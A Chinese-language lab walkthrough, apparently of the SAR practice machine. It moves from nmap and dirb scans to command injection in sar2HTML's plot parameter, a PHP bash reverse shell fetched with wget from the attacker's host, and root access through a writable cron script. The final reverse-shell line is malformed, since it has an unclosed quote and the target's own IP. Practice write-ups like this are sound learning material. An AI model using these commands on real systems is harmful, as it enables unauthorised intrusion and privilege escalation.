SAR -searchsploit

发布时间 2023-05-03 17:22:13作者: lisenMiller

主机发现

sudo nmap -sn 192.168.28.0/24

TCP端口扫描:sudo nmap -sT --min-rate 10000 -p- 192.168.28.35 -oA nmapscan/ports

端口tcp扫描sudo nmap -sT -sV -sC -O -p80 192.168.28.35 -oA nmapscan/detial

端口udp扫描sudo nmap -sU --top-ports 20 192.168.28.35 -oA nmapscan/udp

脆弱性扫描 sudo nmap --script=vuln -p80 192.168.28.35 -oA nmapscan/vuln

访问http服务

并进行目录爆破

sudo dirb -u http:/xx -w xx

发现robots.txt和phpinfo.php 

phpinfo.php一般用于进行针对性的爆破等等

robots.txt一般用于禁止目录访问和目录导览的,所以里面存放的一些有可能是目录的名字

访问robots.txt发现只有sar2HTML,将它当成目录放入路径中

http://192.168.28.35/sar2HTML

成功访问

发现是一个软件

通过searchsploit漏洞库查找是否有这个漏洞

search sar2html  找到一个rce,但是因为search容易将数字当成关键字搜索,所以一般要将数字给去掉

search sar -m 47204  #将rce给拖下到当前路径下 

查看用法

 访问http://192.168.28.35/index.php?plot=;cat /etc/passwd 

鼠标点击select host 命令执行结果会输出到底部的滑动上

所以进行写马反弹shell的操作

反弹shell

vim shell.txt

<?php exec("/bin/bash -c ' bash -i >& /dev/tcp/192.168.28.29/1234 0>&1'");?>

kali监听

nc -lvnp 1234 并开放一个web服务 sudo php -S 0:80

利用漏洞进行远程下载并执行

http://192.168.28.35/sar2HTML/index.php?plot=;wget http://192.168.28.29/shell.txt -O shell.php

再访问shell.php既可以反弹shell

http://192.168.28.35/sar2HTML/shell.php

成功getshell

权限分析

whoami   uname -a   ip a   sudo -l 

完善shell的交互性

clear --报错

export term=xterm-color

clear --成功

sudo -l 报错

简单翻一下目录

家目录等等

查看计划任务

cat /etc/crontab

查看到用root运行了finally的脚本.脚本指向write.sh 查看write.sh的用户属主是谁进行修改操作

将我们上传的shell.txt内的内容复制到write.sh中可以运行后既可以提权

vi write.sh

#!/bin/bash

/bin/bash -c '/bin/bash -i >& /dev/tcp/192.168.28.35/1111 0>&1